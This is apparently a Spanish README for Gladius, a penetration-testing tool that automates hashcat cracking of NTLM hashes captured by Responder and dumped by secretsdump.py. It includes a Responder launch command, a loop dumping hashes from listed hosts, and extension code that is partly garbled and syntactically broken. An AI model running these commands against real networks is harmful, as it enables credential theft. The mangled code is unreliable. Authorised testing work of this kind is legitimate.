
Automatización de cracking de Responder/secretsdump.py
Autor: Cory Duplantis (@ctfhacker) / blog
Artículo en el blog sobre Gladius
Gladius proporciona un método automatizado para descifrar credenciales de diversas fuentes durante un compromiso. Actualmente desciframos hashes de Responder, secretsdump.py y smart_hashdump.
pip install watchdog
git clone https://www.github.com/praetorian-inc/gladius
cd gladius
git clone https://www.github.com/praetorian-inc/Hob0Rules
cp Hob0Rules/* .
rm -rf Hob0Rules/
python gladius.py --hashcat ../hashcat/hashcat-cli64.bin -r d3adhob0.rule -w rockyou.txt
Ahora inicie la sesión de responder como es habitual
cd /usr/share/responder
python Responder.py -i YOUR_IP -I YOUR_INTERFACE
Envíe los resultados de secretsdump a Gladius para su análisis y descifrado.
for ip in $(cat ips); do secretsdump.py DOMAIN/username:password@$ip > /usr/share/responder/secretsdump_$ip; done
$ python gladius.py -h
usage: gladius.py [-h] [-v] [--responder-dir RESPONDER_DIR]
[--hashcat HASHCAT] [-r RULESET] [-w WORDLIST] [--no-art]
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increased output verbosity
--responder-dir RESPONDER_DIR
Directory to watch for Responder output
--hashcat HASHCAT Path to hashcat binary
-r RULESET, --ruleset RULESET
Ruleset to use with hashcat
-w WORDLIST, --wordlist WORDLIST
Wordlist to use with hashcat
--no-art Disable the sword ascii art for displaying credentials
and default to only text.
El conjunto de reglas predeterminado es una versión mejorada de best64 de Julian Dunning (@hob0man) de Praetorian. Su presentación sobre el tema se puede encontrar a continuación:
Vigila el registro de responder en busca de archivos *NTLM*txt. Por cada archivo encontrado, analiza la salida, crea un archivo temporal con los nuevos hashes y lo pasa a hashcat con el tipo de hash correcto.
Para vigilar hashes NTLM de hashdump, simplemente cree un archivo con hashes NTLM de hashdump y coloque un archivo con `hashdump` en su nombre en el directorio de Responder.
Nota: Deberá examinar manualmente la salida en `./engagement/responderhander_out/*` para verificar los resultados del descifrado de `hashdump`.
Vigila la salida de hashcat y exporta archivos con el siguiente formato:
Dominio Usuario Contraseña
Para extender Gladius:
GladiusHandler.'*' si el nombre del archivo no importa).process(self, event) para realizar acciones en todos los archivos que coincidan con su patrón.class YourHandler(GladiusHandler):
patterns = ['*']
def process(self, event):
data = self.get_lines(event)
# Perform work on data
Agréguese a la lista de handlers
handlers = [
(ResponderHandler, args.responder,
(CredsHandler, ResponderHandler().outpath),
(YourHandler, CredsHandler().outpath),
(YourHandler, '/tmp'),
]